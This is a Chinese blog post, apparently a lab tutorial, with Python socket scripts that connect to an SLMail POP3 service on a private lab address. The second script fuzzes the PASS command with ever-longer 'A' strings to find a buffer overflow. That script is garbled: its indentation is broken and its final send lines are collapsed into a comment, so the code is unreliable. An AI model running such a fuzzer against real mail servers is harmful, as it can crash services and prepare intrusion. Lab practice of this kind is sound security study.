一個緩衝區溢出的測試代碼

# !usr/bin/python
import socket

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)        #socket默認使用的開頭

print("devil buffer start")
s.connect(('192.168.56.129', 110))
data = s.recv(1024)
print data

s.send('user admin'+'\r\n')
data = s.recv(1024)
print data

s.send('pass test\r\n')
data = s.recv(1024)
print data

s.close()
print "\ndone!"                                        

       上面的代碼,這是我的對192.168.56.129上的110端口進行了一次簡單的腳本看是否能被服務器正常接收到我發送的數據,並且回來的包能否被我接受。#這是python2的版本


        下面的代碼被我改進,進行了緩衝區溢出的測試。我的測試目標是在xp中運行的一個郵件服務slmail,這個郵件服務並沒有防止緩衝區溢出機制,所以將其測試,具體如何使用這個服務自行百度。

# !usr/bin/python
import socket

buffer = ["A"]        #建立一個首元素爲A的列表
counter = 100
while len(buffer) <= 50:
    buffer.append("A" * counter)
    counter = counter + 200       #將列表進行擴充,每次加原先的A*200*n(n是循壞的次數)

for string in buffer:
    print("fuzzing pass with %s bytes" % len(string))
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect(('192.168.56.129', 110))
    s.recv(1024)
data = "user test \r\n" #這裏面\r\n很重要, windows中\r\n代表換行,unix換行爲\n,mac底下爲\r,相當於回車
s.send(data.encode()) #encode()在我的博客裏有介紹,相關socket模塊知識,請在本博客搜索 socket模塊 s.recv(1024) data = "pass " s.send((data + string + "\r\n").encode()) s.send(b'QUIT\r\n')
發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章